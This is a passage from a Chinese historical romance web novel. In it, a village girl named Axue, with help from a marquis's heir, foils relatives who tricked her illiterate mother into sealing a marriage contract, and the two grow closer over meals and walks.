“现成的秀才,人家不止会写,写的还好呢!来来,家里有笔和纸吧?快去取来,让你见识见识周秀才的字儿,寻常人可见不到。” 很快笔墨就被人翻找出来,周秀才挥笔洋洋洒洒写了一篇,三叔指着角落空白处,“大富家的,来,按个手印。” 焦红杏警惕起来:“三叔,为何要按手印?” 三叔一脸恨铁不成钢的样子,将人拉到一边小声道:“你对周秀才满意不?” 焦红杏不说话,显然是犹豫。 三叔继续道:“人家拿了贵重东西过来,如果婚事成了也便罢了,没成的话你是不是得给人家还回去?按个手印表示你收到东西,咱们不是无赖之人,可不能贪小便宜。” 意思就是做个凭证。 “那等石头回来帮忙看看吧,我不识字,若有不妥吃亏的是我们。” 三叔竖眉呵斥道:“怎么,我们老卢家亏待你不成?还能把你卖了啊!这么多人看着,谁敢有小动作?” 方才族里人还帮忙拿钱来着,焦红杏思忱片刻,觉得是这个道理,于是放下心来。 三叔手快,直接拉着她的袖子就着墨水,猛地在空白处按下拇指印。 …… 晚上阿雪和石头回来,焦红杏便询问姐弟俩是否有事瞒着,眼见着瞒不住,阿雪只得实话实说。 焦红杏眼圈红了,低声道:“我就知道石头不会无缘无故打人。” 整件事情都是因他而起,卢石头低垂着脑袋不说话。焦红杏又柔声道:“娘不是告诉过你,去到外面莫要冲动,发生口角也不能动粗。” 卢石头愤愤:“可他说话难听。” 焦红杏一噎。 那个叫赵甲的孩子确实没礼貌,卢石头年岁小血气方刚又容易冲动…… 唉。 焦红杏叹了口气。 “既然已经发生了,那我们就想办法弥补就是,同时也吸取教训,莫要有下次了。石头,你答应娘,往后不管和谁,都不可以打人,否则我们有理也变成没理了。” “知道了。”卢石头垂头丧气的应声。 阿雪插话:“娘,赵家人还要求什么了?” 焦红杏就将白日发生的事情简单说了一遍,还不忘提周秀才。 “等你爹回来,让他挑点好皮子送去周家作为回礼。” “娘,我暂时还不想嫁人。”阿雪依偎在焦红杏身边,撒娇道:“想在家多留两年。” 焦红杏拍着女儿的手背,觉得老祖宗说的对,女儿当真是娘的贴身小棉袄。 “行,不过年底怎么着也得把亲事定下,明年再成亲也来得及。” 成亲。 脑海里出现这两个字的时候,同时浮现一张俊美如谪仙的脸。 是谢临安。 如果他没退了婚事的话,按理来说明年秋日就该成亲了。 阿雪垂下眸子,兴致恹恹:“再说吧。” 焦红杏本想问问女儿和严夫子的情况,但见她如此以为是害羞,她便没多说,转而对石头说教。 “过些日子你爹就回来了,在他回来之前处理好和赵甲的事,免得你受皮肉之苦。” 卢大富娇养女儿,对儿子半点不留情,没少让卢石头吃竹笋炒肉。卢石头打了个寒颤,“对对,我赶紧想办法。” 打伤对方确实不对,在焦红杏的劝说下,卢石头决定给对方道歉。至于写什么致歉书,他才不干。 到了学堂后,旷课两日的赵甲来了。他脸上的纱布去了,还是能瞧见微微红肿,足以可见卢石头力道之大。 赵甲不说话,他身边的小跟班屁颠屁颠的过来,颐指气使道:“卢石头,道歉书呢?” “没有。”卢石头面无表情的站起来,他是学堂里个子最高的,体型魁梧像是一座小山。“赵甲,我向你道歉,对不起,不该动手打掉你两颗牙。” 赵甲气的脸又疼了。 他这是道歉吗? 分明是往他的伤口上撒盐。 卢石头走过来,瓮声瓮气道:“好,我道完歉了,现在该你向我道歉,赵甲,你不该说我阿姐的闲话,请你道歉。” 临出门前焦红杏再次耳提面命,让卢石头用文人的办法解决问题,而不是用拳头。 所以卢石头特意加了个“请”字。 够斯文了吧。 “你疯了?我道歉?是你动手打我!”赵甲说话含糊不清,说两句就流口水,赶忙捂嘴。 卢石头不退缩,脑子难得清醒,阐述逻辑道:“是你先说我阿姐,我才打你的,如果你没说难听的话也不会挨打。” 赵甲气的面色涨红却不敢开口,怕口水横流被同窗笑话。这时候严为之捧着书进来,充当起和事佬。 无法,赵甲只能不情不愿的道歉了。 …… 解决完事情的卢石头心情畅快,觉得自己能独挡一面,就算爹不在,他也可以保护娘和阿姐。 天越来越长,下学时候依旧天色大亮,严为之让卢石头先走。 “夫子,你不去铺子了?” 卢石头难掩惊喜,太好了!他终于不用再吃苦了。 “去,不过你先走,我随后就到,免得让其他人看见说闲话。” 经此一事,严为之认为小心为上。 卢石头立刻丧眉耷拉眼,“好吧。” 到铺子时候,却发现关门了。卢石头忙和隔壁打听,才知道阿姐被娘叫回家里去了。 总有一种不好的预感,卢石头风似的往家的方向跑,连后头严为之喊他都没听见。 冲到家里一进门,便察觉到气氛凝重。 焦红杏坐在椅子上抹泪,阿雪垂着眸子面色不好。 “娘,阿姐,是不是发生什么事情了?” 他跑的满头大汗也顾不上擦,忙不迭地询问。还扫见桌面上放着红纸,上面好似有字迹。卢石头拿起来,发现是两个人的生辰八字,一个是他阿姐的名字,另外则是姓周的陌生人。 “什么意思?”卢石头不明白。 “伯母,阿雪,你们在吗?”外头严为之敲门,阿雪就起身去迎他进来,严为之也看见那张红字了,他年岁大懂的多,立刻明白是过礼用的。 “阿雪相看夫家了?”严为之面如菜色。 “没有。”阿雪声音带着恼怒,“是他们算计我。” 焦红杏小声啜泣,背过身擦了擦眼泪,勉强露出一个笑:“让严夫子见笑了。” “夫子,你能不能帮我想办法,是他们算计我们,我家里根本没同意这桩婚事。” 阿雪三言两语说清楚来龙去脉,“麻绳专挑细处断,哪里想到昨天两件事赶在一起,稀里糊涂应了婚事。” “我不想嫁什么周秀才,严夫子,你能帮我吗?” 对方说落了婚契就得嫁,否则要赔偿他们银钱。 阿雪既不想嫁也不想赔钱,坐在那和焦红杏想了好半响却想不到好法子。 她期盼的看着严为之。 严为之心潮澎湃。 之前赵甲的事情他就答应办,结果没有办好,这次说什么也得为她撑腰。 “好!”严为之一口答应下来。 心中有事,严为之一晚上都没睡,翻来覆去的想办法,第二天顶着眼下青黑去学堂。 阿雪还在等严为之的消息,没想到先来的却是松石。 30-40 第31章 第31章 严为之当真是想帮助阿雪,所以他熬了一夜想出个办法。但这办法似乎……不是特别君子,因此严为之犹豫了,没直接去找阿雪,想着下午学堂下学之后他再来说,还有时间再仔细琢磨。 比他先来一步的是松石。 自打上次谢临安敲打过后,松石对待阿雪的态度越发恭敬。 “卢娘子,我们郎君有请。” 他做了一个请的手势,阿雪顺着方向看过去,就见不远处的巷子口停着一辆马车。 阿雪犹豫了。 昨天已经和严为之说好今日等他消息的,若是一会他来了看见自己怎么办? 似是知道她的心思,松石道:“郎君说,他有办法解娘子的忧患。” “郎君知道?他怎么知道的?”她什么都没和他说呀。 松石心里鄙夷,卢娘子倒是会装模做样。她费尽心思攀附他们郎君,不就是为了飞上枝头变凤凰吗? 侯府世子想知道什么都能立刻收到消息,更何况郎君还特意嘱咐过多照看她。 松石不傻,明白自家郎君对卢娘子与众不同,嘴上依旧恭敬。 “娘子去了便知。” 阿雪完全静不下心,早上压根就没做多少包子,正好剩了一些,她捡出来给松石两个,剩下五个抱在怀里,朝着马车走去。 这等小地方罕见马车,不少人看见阿雪笑盈盈的钻进车里,车帘合上挡住人们的视线,随后马车缓缓驶离。 “郎君,刚出锅的热乎包子,荤素都有的。” 谢临安没接,只用一双幽暗的眸子看着她。 阿雪摸了摸自己的脸,没摸到什么东西。“郎君,你在看什么?” 夏日微风穿过薄透的车帘,裹挟着小娘子身上的甜意,如同她这个人一样,直冲冲的来到他身侧,如藤蔓似的将他缠绕。 “郎君?” 他面色忽地发红,阿雪还以为他病了,倾身上前,用右手去贴着他的额头。 “你好像有点发热了,”她又摸了一下自己,确定谢临安比她体温高。“不信你摸摸我。” 说着,她拿起他的手往自己额头上放,谢临安只轻触了一下就松开手,淡淡嗯了一声。 “可请过大夫?这里赤脚大夫治头疼脑热还是不错的。” 阿雪还拽着谢临安的手,她注意力在他脸上,完全没注意到谢临安反过来扣紧她的腕子。 谢临安只和小娘子牵过一次手。 现在,是第二次。 与上一次被迫十指相扣不同,此刻的谢临安清醒的知道自己在做什么。 明知道花蜜香甜同时会溺死人,也深陷其中,被浓稠的蜜束缚着,动弹不得。 甘之如饴。 “小事而已,”谢临安拉着她,让她坐在他身侧,在阿雪有所察觉前松开手,“你可有话对我说?” 昨日卢家发生的所有事情都一五一十的记录在纸上,呈在谢临安的案桌上。 他本以为她会第一时间来找他求助,直至月上高梢,也没见半个人影。 从小便是众星捧月般长大的谢临安,还是第一次等人却等不到。 有莫名的情绪在心口处涌动,谢临安坐在桌后想了一夜,今日一早叫松石找出一身新衣服换上,整理之后便来找她了。 懦夫才会退缩等待施舍。 鱼儿又如何? 只兜住他这一尾鱼,她不就是赢了吗? 至于其他的鱼……谢临安压下唇角的嘲讽。 也配同他比? 谢临安心思百转,面上却是半点不显,阿雪什么都不知道,回答他方才的问题。 “啊,什么事?对了,方才松石说郎君可以帮忙,郎君,我家的事情你知道了?” 不止知道,甚至已经想好了对策。 但谢临安端坐在那,一只手懒散的搭在膝上,另外一只手去端角落里的茶盏,气定神闲轻啜一口。 “你且说说。” 她就说嘛,郎君昨日都不在怎么可能知道。于是阿雪三言两语将事情说明,末了叹气一声:“谁能想到自家长辈会做出这种事情?我爹在的时候他们不敢来,就挑着他不在时候过来欺负我娘,还硬拉她按了手印。” 焦红杏不认识字,以为上面真如族里三叔所说,只是记载周秀才拿来的东西。殊不知,周秀才早就和他们商量好了,算是将阿雪卖了。 卢家人淳朴善良,不愿意将亲人往坏处想,但谢临安调查得知,族里三叔得了周秀才的二两银子,所以才一门心思的撮合。 这只是其一,还有其二。 卢家祖祖辈辈都是面朝黄土背朝天,靠着一亩三分地过活。卢大富不同,他身强体壮擅长打猎,随便猎几只山鸡就能卖上一些钱,更何况他总能打到值钱的狐狸野猪等。 存了钱在镇子上给女儿开了一间小店铺,卢氏夫妇想着铺子就给女儿当嫁妆,挣的钱也都给阿雪存着,但落在村里族人的耳朵里就不是那么回事了。 嫁出去的女儿泼出去的水,更遑论铺子在他们眼里看来就是摇钱树。 不用想便知道,他们是盘算着将阿雪嫁出去,然后侵占阿雪的铺子。 卢大富脾气火爆真敢动手,族里不敢对他施压,只能可着焦红杏欺负。村里人看重长幼尊卑,焦红杏也说不出话来。 想到这,谢临安侧目,阿雪还在念叨着家里的事情,察觉到他的目光后,猛的捂住嘴。 “抱歉,我话太多了。”阿雪记得郎君喜静来着。 她脸生的小,捂住口鼻之后便剩下那双炯炯杏眸,清澈的能映出谢临安的影子。 “无妨。”谢临安倒了一盏茶水递给她,“润润口。” 说的口干舌燥的阿雪仰头一饮而尽,咂咂嘴:“咦?竟然不涩口。” “喜欢就再喝一杯。” 一帘之隔的松石面无表情。 五十两银子一两茶,怎么可能不好喝 赵郎君向自家郎君讨要茶叶,他都没给,倒是舍得拿出来给卢娘子喝。松石一脸肉疼,心想卢娘子会品茶也便罢了,可她如牛饮啊! 适口茶水下肚,阿雪觉得自己没那么浮躁了,侧过身子问谢临安。“郎君,你有什么法子吗?” 谢临安刚将茶盏安置好,摆回原位,仿若没动过似的。他偏头,正巧视线落在她殷红的唇上。 阿雪从小就长的娇憨可爱,随着年岁见涨出落的愈发貌美。不施粉黛的小娘子眉眼懵懂,朱唇不点而红,带着水渍像是浸泡在山泉水里的饱满樱桃。 每年春夏时节,宫里都会赏一篓子新摘的樱桃,颜色鲜艳,酸甜可口。咬下去汁水充沛,回味无穷。 谢临安喜欢吃樱桃。 喉结微动,鸦羽似的睫毛垂下,谢临安靠在身后垫子上,声音不疾不徐道:“自然是有的。” 说完这句话就没了下文,阿雪发懵,忍不住靠近他,“然后呢?” 回想起她和那个姓严的说话场景,远没有这般亲密。 谢临安不满消散几分,抬手朝着阿雪勾了勾:“你附耳过来。” 车里就两个人,根本不用凑那么近。 这时候阿雪心切,没发现不对,挪动了两下紧紧挨着谢临安,耳朵朝着他靠。 他身上有一股混杂着墨香的味道,清冽的如同冬日初雪,好闻的紧。阿雪没忍住深深吸了口气,又朝着他靠近。 二人之间不过一拳的距离,阿雪丝毫没觉得不妥,谢临安眸子闪了闪,也未出声阻止。 “我说,你听……” 一刻钟后,马车停下,阿雪喜笑颜开的掀开车帘,临下来之前回头:“多谢郎君。” 下车后才发现,这里竟然她家门前的一条街。 阿雪着急办事情,小跑着回家了,松石转头问车里人:“郎君,我们走吗?” 谢临安颔首。 黄昏时分,严为之来了卢家,大抵是火气大,嘴边起了一个火泡。 严为之开门见山道:“我有一个办法可保你,但……但不知你是否接受?” 焦红杏心急如焚,闻言道:“严夫子,你尽管说。” 紧张和忐忑的严为之舔了舔嘴唇,有些不自在的道:“就说阿雪有婚约了,将和周家的婚事退了便可。” 这算什么办法?阿雪看他。“对方要看婚契怎么办?” 再说,她暂时也不想成亲,若是用了这个法子,和从一个火坑跳入另一个火坑好像没区别。 严为之面色红了又白,白了又红,嘴唇嚅动着,似乎想说什么,眼神闪烁不敢盯着阿雪看。 焦红杏是过来人,年轻时候和卢大富浓情蜜意,哪里看不懂男人这个眼神?分明是喜欢她家女儿。 严为之提出这个法子,莫不是想自己和阿雪结亲? 焦红杏有心试探,刚要说话时候,外面又来人了。 角落里的卢石头起身去开门,垂头丧气,走路步伐沉重。 若不是因为他打了赵甲,那赵家父子也不会寻上门,更不会趁乱被族里那些人占了便宜。 卢石头懊恼极了,没好气道:“谁啊?” “你是石头吧,我是你三爷爷。” 三爷爷?卢石头怒火中烧。 “好啊,我不去找你们,你们倒是主动上门了。” 卢石头打开院门,外面站着几个人,正是村里卢家几个长辈,也是亲眼见证“婚契”落成之人。 后头跟着周秀才以及媒婆和周家父母,来者不善。 卢石头警惕起来,登时将院门关了大半,用自己挡住那半个人的缺口,直接问:“你们来做什么?” 三叔面带急色,好像有什么大事发生了一样。“你娘可在?石头,你让开,我们同你娘有要事商议。” 卢石头厌烦他们,出口就要将人赶走。 “石头,快请三爷爷进来。” 不知何时阿雪走了出来,芳华正好的小娘子眉眼秀丽,身姿窈窕,刚一出来便让周秀才看直了眼。 他见过焦红杏,想着娘生的貌美,女儿定也差不到哪去。没想到竟然如此亮眼,堪称他见过最好看的小娘子了。 小娘子温和有礼,笑盈盈的请他们进去。 周秀才像是失了魂似的往里走,周家父母连连点头,看样子对未来儿媳妇很是满意。 只有卢氏族人,对视一眼,嗅到不同寻常的味道。 屋里没那么多凳子,几个小辈便站在一旁。 三叔先开口:“本来下午就该到的,路上不知怎么回事车坏了,我们一路走过来的,所以才来的晚。” 进了五月日头落山晚,现在外面天色才堪擦黑,阿雪低头朝着他们脚上看,果然沾了不少灰尘。 “出门前检查过的,但不知怎么梁子断了。”周父开口解释,周母也应声,“你就是阿雪吧,可怜见的,瞧瞧,都瘦成什么样子了?” 周家家境还算可以,从周家父母的行头上就能看出来,周母拎着一块帕子,竟然在擦眼泪。 如果是普通的小娘子,或许觉得周母宅心仁厚,平易近人,还知道心疼小娘子。但在阿雪看来,着实不可理喻。 她瘦吗?而且对方说的话,好像爹娘亏待她似的。 阿雪觉得有点刺耳,焦红杏面上也不好看。 周母讪讪,三叔出来打破僵局,道:“亲家也是心疼阿雪独自支撑铺子,长辈心疼小辈再正常不过了。阿雪啊,去,给你周伯母倒水。” 人来的急,桌子上只有招待严为之剩下的冷茶。阿雪也懒得再麻烦,直接倒了一杯凉茶。 周母脸上的笑意微僵,原本热络的眼神也像是茶水一样冷了下来。 阿雪没客气,倒完之后让卢石头去再接点热水,连茶叶都不换。 卢石头哎了一声就出去了,屋里,三叔轻拍桌子皱眉道:“大富家的,你可得好好管教两个孩子。石头年岁小得好好约束,免得说话没大没小,至于卢雪,今天来就是商量婚期,早点把婚事办了两家都高兴。对了,女子的三从四德要教好,我看呐,这孩子在外面经营铺子有些飘了,教好了送到人家周家,才好当秀才娘子啊。” 摆出长辈架势敲打人。 三叔辈分大又是实打实的亲人,以前数落焦红杏的时候她从来不还嘴。可今个儿他当着这么多人的面训斥两个孩子,焦红杏大为不满。 “三叔说的哪里话,你出去问问,左邻右舍谁不夸我们两个孩子懂事?石头年岁小,知错能改,至于阿雪……”柔软的人硬气起来,“还没找到合适的人家,先不劳三叔操心了。” “卢叔,这是什么意思?” 周父先开口,三叔忙安抚,“妇道人家什么都不懂,我说,大富家的,你已经签了婚契,还收了人家提亲礼,怎么转头就不承认了?” 焦红杏气的发抖,阿雪忙从后背轻拍了她一下,小声道:“娘,交给我。” 这时候接水的卢石头回来,手里的茶壶捏的咔滋做响,大有要碎的架势。 阿雪抬头给了弟弟一个眼神,卢石头才不情不愿的退到一旁。 “三爷爷,”阿雪还是那副笑盈盈的,不过笑意不达眼底。 卢石头站在那观察,发现他阿姐笑起来的样子怎么有点眼熟,好像他见过有人这样笑。 不等卢石头回想起来,那边阿雪已经吐出下说一句话。 “什么婚契?我怎么不知道?不如三爷爷将其拿出来我瞧瞧,也好让我知道嫁的什么人家。” 三叔一噎,竟然不吭声了,屋里顿时针落可闻。 阿雪这回是真笑了。 “我看,压根就没有这东西吧。” “怎么没有?你娘亲自按的手印,不信你问问她!” 众人七嘴八舌的说起来,大意就是他们不认账云云。周母一直不吭声,趁着无人注意小声和周父交头接耳。 “她会不会知道婚契丢了的事?” 好好放在盒子里,也不知道怎么一夜之间就像是长了腿似的不见了。 要不然他们也不会千辛万苦的赶过来,想把这门婚事坐实。谁知道出门不利,没走多远车横梁断了,车上所有人被摔个大马趴。 周母摸了摸膝盖,哎呦一声。估计肿了,现在还疼着呢。 第32章 第32章 阿雪一口咬定要见婚契,焦红杏很快反应过来,虽然声音柔弱但态度坚决,也说要有婚契才作数。 一直坐在角落里不敢吭声的严为之硬气一回,站出来说了之乎者也大道理,本来三叔要痛斥他,听说是镇上夫子后客客气气,说不让他掺和自家事。 “非也,”严为之背着手摇头,“某自是站在公平公理一侧,并不是要参与你们家族之事,遇见不平出手相助是也。” 阿雪听的又感动又牙酸。 真希望严夫子说话别这样。 “既然婚契拿不出来,也就没有你们口中所说的婚事,三叔,之前周秀才拿来的东西你们都瞧见了,我回礼便是。” 焦红杏本想直接回库房的兽皮,但她咬牙,掏出了一两银子。 “想来买那些东西绰绰有余,周秀才,往后第一次去别人家登门拜访,身外之物都是其次,最重要的是带着诚心诚意。” 被点的周秀才面色赤红,张嘴想要反驳:“不是我、我、我、我、……我是诚、诚、诚……诚心的。” 在场的除卢家娘几个和严夫子面色大变,卢石头快人快语:“你不止岁数大,还是个结巴!” “说什么呢你!”周母拍桌而起。 穷苦家庭出身的孩子都想考出功名,但不是通过考试那么简单的。最后一关会试,皇帝亲自问话,首先其貌不扬者排除,污了皇帝的眼还想拿功名入朝为官? 像是周秀才这般结结巴巴连话都说不明白的,恐怕考中了也没什么希望,可周家自视甚高,非要找个样样都拔尖的儿媳妇,正因为如此,周秀才的婚事才一直耽搁下来,拖到现在。 方才因着阿雪给她倒凉茶已经非常不满了,觉得样貌好不重要,最重要的是孝道。哪里像是他们族里人说的吃苦耐劳?分明是牙尖嘴利,到时候娶回家恐怕不会听话。 现在他们直言说自己儿子是结巴,周母再也忍受不了了。 焦红杏也站了起来,手指着三叔他们:“好啊,我还当他是性子腼腆所以不爱说话,原来是说不了完整的一句话。三叔,你怎么能如此坑害小辈,难道你不怕大富回来找你们算账吗?” 提到卢大富显然有用,三叔他们几个本还想故伎重来,但此刻都偃旗息鼓。 阿雪请严为之落笔,效仿周秀才他们,“拿了钱就留个凭证。” 他们不想签字,但又舍不得银子,无奈只好写下名字,灰溜溜的走了。 出了门就吵嚷起来,周家父母管三叔要保媒的二两银子,但这些都和阿雪他们没关系了。 严为之要回去,焦红杏给拿了一盏灯笼,慈爱的送他到门口。“今日的事情多谢严夫子了。” 严为之脸上一热:“晚辈并未出力,多亏了阿雪冰雪聪明,才能化解危机。” 他实话实说,越过焦红杏去看阿雪,不想人家压根就没看他,正和卢石头热火朝天说着什么。 …… 来到镇子没几天,赵友成就把所有能喝酒的地方都去了一遍。 他还总结了一番,“京城的酒水犹如大家闺秀,需细细品味,而这地方的则是山野烂漫,豪放至极。” 每天都是喝个宿醉,第二日下午才醒来。 用他自己的话来说,便是:“到时候老头子找过来我还没醒,打我感觉不到疼。” 今日难得爬起来早,洗漱好后就出门打算找谢临安,谁成想刚出门就瞧见隔壁房门前站着个貌美小娘子。 “赵郎君。”小娘子穿着一身樱粉色衣裙,乌黑的发梳的整齐,簪着朴素的木簪,素衣布裙,可不知怎么,仿若星辰般耀眼。 大抵是容貌生的讨喜,赵友成细细端量,发现她身上多了那些高门大户娘子们没有的东西——鲜活。 鲜活的犹如林中之风,又像水中之月,叫人心神向往又捉摸不透。 赵友成笑着和阿雪打招呼。 “王捕头他们在里面,赵郎君若是找人的话,还需稍等片刻。” 赵友成笑笑:“我的房间就在隔壁,娘子若是不嫌弃大可进来坐坐。” 阿雪站了一刻钟左右,还真有点腿酸了,于是便想着进去坐会。 隔壁房里,谢临安淡声说话,底下的捕快们认真听着。坐在最前面的王捕头暗中觑着他的神色。 说起来他们来的太过不巧,正赶上那位卢小娘子来找谢临安。 王捕头走在最前面,刚敲门,未关严的房门便被风吹开一条缝隙,也让他瞧见里面年轻男女在相拥。 其实误会了,只是阿雪解决了难题高兴而已,见到谢临安分享喜讯,没忍住抱了他一下,夸赞他厉害,竟然什么都猜对了。 这个拥抱还未落实就被打断。 不等王捕头反应,谢临安抬眸,眼神犀利,吓的王捕头后退一步。 后来那位卢娘子走了,谢大人明显心情不好,王捕头缩着脑袋如同鹌鹑,不敢乱说话免得被他找补。 “先将她安置好,暗中告知她父母即可,莫要大张旗鼓,免得打草惊蛇。” 提到案子,王捕头收敛心神。 来了之后其实毫无头绪,王捕头甚至觉得人早就不知道被带到哪里去了。但没想到谢临安在失踪者家附近走了一圈,断定是村里人干的。 王捕头这些天就带着人藏在暗处,总算发现行迹鬼祟之人,可惜他们不熟悉地形,被那人逃去了山里不知所踪。 幸而找到失踪女子,但显然她状态不好,王捕头回来汇报,谢临安没让人直接送回家里。 王捕头明白了,一是怕凶手有所警惕不回来,二则是怕受害者被报复,亦或者名声有损。 上次那个受害者王氏,她家人大张旗鼓的来接人,听说回去后就要给许人家,结果成亲当日,王氏悬梁自尽,喜事变丧事。 尽管不知道内情如何,王捕头也察觉出不对,即使男女大防没那么重,世间对女子还是苛刻,因此赞同谢临安的做法。 等人走了之后,阿雪和赵友成进房间,眼见着谢临安的眼睛在看见阿雪那刻有了波动,赵友成无奈摇头。 他就说吧,谢临安深陷而不自知。 “郎君,为了表示感谢请你吃饭。对了,赵郎君也一起来,尝尝当地菜馆的特色菜。” “好……” 一个字没说完,谢临安眼神淡淡的看了过来,赵友成也不知道怎么回事,本能的将话咽回去。 “好像不行,我一会有约了,不如下次吧,我请你和临安吃酒。” 京城世家出来的年轻郎君们,各个都是风流倜傥温和有礼,阿雪对赵友成感官不错,笑着应下。 谢临安垂眸,浅啜清茶,赵友成有点坐立难安,觉得自己像是落入老虎领地的侵入者,还对着老虎挑衅。 别看老虎现在在喝茶,可是会咬人的! “我还有事,你们先聊。” 赵友成一阵风似的跑了。 吃饭自然不是这个时辰,铺子有莲花帮忙照看阿雪才能出来,说了会儿话就得回去,等晚上铺子关店再和他一起用晚饭。 莲花瞧见阿雪进来,故作调皮道:“呦呦呦,让我看看,是谁家的小娘子这么美啊。” 阿雪笑:“多亏了你帮我弄头发。” 今早阿雪特意打扮,可是头发怎么也弄不好,到了铺子后莲花过来闲逛,正好帮了大忙。 “要我说,他该早点来提亲把你娶回家,放在眼皮子底下看着才放心啊。” 阿雪生意好最重要的是物美价廉,其次便是因为她容貌好讨喜。试问,一样花钱买包子,谁不想听漂亮小娘子甜甜的说几句话呢。 阿雪面皮一热。 “别乱说。” 和莲花插科打诨,笑闹一会,等人走了,阿雪略显苦恼,一只手托腮坐在那冥思苦想。 她想的是,自己明明是要报复谢临安退婚之仇的啊,怎么好像最近总是忘记这件事,乐在其中一样呢? 不行,阿雪告诉自己,人不能在一个地方栽倒两次,就像是莲花所言,最好让谢临安想娶自己,然后她来退婚才行呢。 …… 一直到了黄昏时分,卢石头下学了,身后照旧跟着严为之。 “抱歉严夫子,我今日有事,得让石头直接回家,劳烦你跑了一趟,这点包子不成敬意。” 严为之一直给卢石头开小灶,阿雪过意不去,每次他来都会给留包子,严家父母不在,正好严为之也不用开火做饭。 捧着热乎包子,严为之打量今日格外漂亮的阿雪,心里不是滋味。有心想问她什么事,又觉得自己没有合适立场,只嚅动嘴唇,半响之后讷讷说了句好。 离约定的时辰还早,阿雪便慢悠悠的往菜馆去。她挑的这家铺子门脸小,也不在主街,但是老字号了,平日里客人不断。 果然,阿雪到的时候已经坐了大半的客人,好似过年那般热闹喧嚣。 知道谢临安喜净,她多花了点钱定了靠近后院处的雅间。 说是雅间,只不过临桌之间多了层隔断罢了,门口还是用帘子遮挡的,吵闹声基本隔不住。 阿雪掀开帘子一看,谢临安已经在了,靠在窗户旁,视线落在后院的梨树上。 “郎君,你来多久了?” 她特意早出来一会,距离约定的时辰约莫还有一刻钟呢。 “刚到。”谢临安转过头,拉过他身侧的椅子。 原本阿雪想要坐他对面的,见此下意识的走过去,俩人并肩落座。 当局者迷,旁观者清。 阿雪无所察觉,松石看的一清二楚,不着痕迹的退了出去,只留他们二人。 这等小菜馆,自然不会做什么雅致的菜色,主打的就是量大美味,色香味俱全占了后两样。 京城侯府出身的世子爷连参加宫宴都是常事,每餐都是精致菜肴,品尝几口便换下一道菜。 谢临安从不重口腹之欲,亦或者说,见多识广后对什么都提不起兴趣。如果赵友成在这,大抵会念一句“曾经沧海难为水,除却巫山不是云。”[1] 用形容情感的诗句来形容谢临安,意思是没什么能入他的眼。 阿雪不同。 平民百姓家长大的孩子,对粮食格外珍惜,而且出去吃的次数屈手可指,因此吃每道菜都会啧啧夸赞。 “郎君试试这个,春夏之时刚下来的嫩菜,随便用油炒一炒都会好吃。” 方才谢临安已经吃过一口,觉得并无出奇之处。不过阿雪给他夹了一筷子,谢临安便斯斯文文的放入口中。 用薄片猪肉大火猛炒,菜色油亮,入口既有肉的荤香,又有青菜的爽口。 年轻俊美的郎君眉梢微挑。 不知为何,她夸了一遍后,这道菜竟然变得美味起来。 普通的菜式因为她而鲜活。 谢临安想起那时候她因找到一处遮阴处而高兴的画面,在他看来不值一提的事情,她却欣喜至极。 这世间的一切,对她来说好像都是美好的,值得去探索的。 埋藏在深处的什么东西蠢蠢欲动,撞开看似坚硬实际早有裂缝的硬壳,探出头来,而后疯狂滋长。 第33章 第33章 吃完饭之后天色已经黑了,谢临安说送她回去。 阿雪摇头:“你的马车太显眼了,上次被不少人看见,还有人和我打听马车是谁的呢。” 阿雪当然不会说出谢临安,随便糊弄过去。在阿雪看来,谢临安的马车说不定是官府给的,大小也是个官,总不能出门坐牛车吧?也可能是从京城过来时侯府的车。 总归不能是他自己的,他如此贫穷,买不起马车的。 “我自己走回去就成,一盏茶的功夫就到了。” 京城夜里也有各种铺子开着,灯火通明,鲜少发生什么危险事情。可这里是小地方,路边的铺子早就关门了,月上高梢,人影稀疏。 谢临安朝着松石看了一眼,淡声道:“你先在此等着。” “郎君?”松石诧异。 “我送她回家。” 说完,便同阿雪一起走了。 松石皱着眉头。 娇生惯养的侯府世子文人出身,虽说骑射六艺拔尖,可到底不能同武将比。出行从来都是乘坐马车,鲜少步行,更遑论和一个小娘子并肩而行。 站在那胡思乱想了好一会,松石终于终于琢磨过味儿了。 这难道就是月下散步? 越往阿雪家的方向走人越少,最后只能听见二人的脚步声。 谢临安走路姿态贵气优雅,脚步声沉稳有规律。与之相比,阿雪走的飘飘忽忽,仿若踩在云端。 “小心。” 没留意脚下的石子,身子一歪往旁侧栽去,忽地手臂被扶住,停住要倒下的趋势后,他转而握住她的手。 “你的手好热。”阿雪侧头看他,又看看俩人交握在一起的手。 阿雪随了焦红杏,仿若瓷瓶皮肤白净细腻。谢临安则是另外一种白,干净剔透,如同羊脂玉。 小娘子的手要比他的小很多,他的大掌轻松将其环住。像是雪鹰展开双翅囊括领地,谢临安没松手。 世间万物,都有其独特之处,毛笔、玉如意、马鞭……这些东西都有其自己的独特触感。 人,也是一样。 长年累月读书写字之下,谢临安的虎口和食指外侧落了一层薄茧,更显手心里小娘子皮肤细腻光滑。 不过阿雪觉得他的温度太热了,热度传递到她的手上,好像能顺着胳膊往上爬,热的她心跳都快了。 好不容易走到家门前,阿雪急忙挣脱开。 “我、我到了。” 附近人家都点着亮,昏黄的光下谢临安垂着眸子,不轻不重的嗯了一声。垂在身侧修长手指微微蜷缩。 “进去吧。” “你回去吧,我看着你走,然后再进去。” 谢临安没动,抬眼去看她。 月光如水,洒下一片银色的光亮。仰头看他的小娘子眸色璀璨,如天上星。 坦然、真诚。 “好。” 眼见着谢临安消失在夜色里,阿雪才脚步轻快的回家。大抵是欢喜的笑容藏不住,焦红杏旁敲侧击道:“吃的如何?” 早上阿雪就告诉她,说晚上有个饭局,但没说是和谁一起吃,焦红杏就以为是和严为之一起。 阿雪十六,严为之二十五,焦红杏之前还因为年纪差距犹豫,但经过周秀才这件事后,焦红杏认为严为之是不错人选。 “挺好的。”阿雪边洗漱边和焦红杏说完,擦完脸结果焦红杏递过来的温水,咕咚咚喝个干净。 “你这孩子,慢点喝啊。” “渴了。” 方才俩人牵手时候她便觉得口干舌燥,阿雪觉得可能是饭馆菜太咸。 “阿雪啊,你和娘说两句心里话,”她拉着要回房睡觉的阿雪,笑盈盈道,“你说,严夫子怎么样?” 严为之? “挺好的。”阿雪实话实说。 对方热心肠,还愿意给石头补落下的功课,而且愿意帮自己的忙,哪一条都可以证明,严为之是好人。 焦红杏不甘心:“只觉得挺好?” 女儿之前又是给送饭又是见他,才挺好吗?不应该是娇羞着夸赞吗? “非常好,是个好人。”阿雪不吝啬的赞美了几句,显然不走心,期间还打了个哈欠。 “娘,我太困了,先去睡了,你也早点休息。” 焦红杏艾艾应声,等阿雪走了后,她还坐在那不动。 总觉得不太对劲。 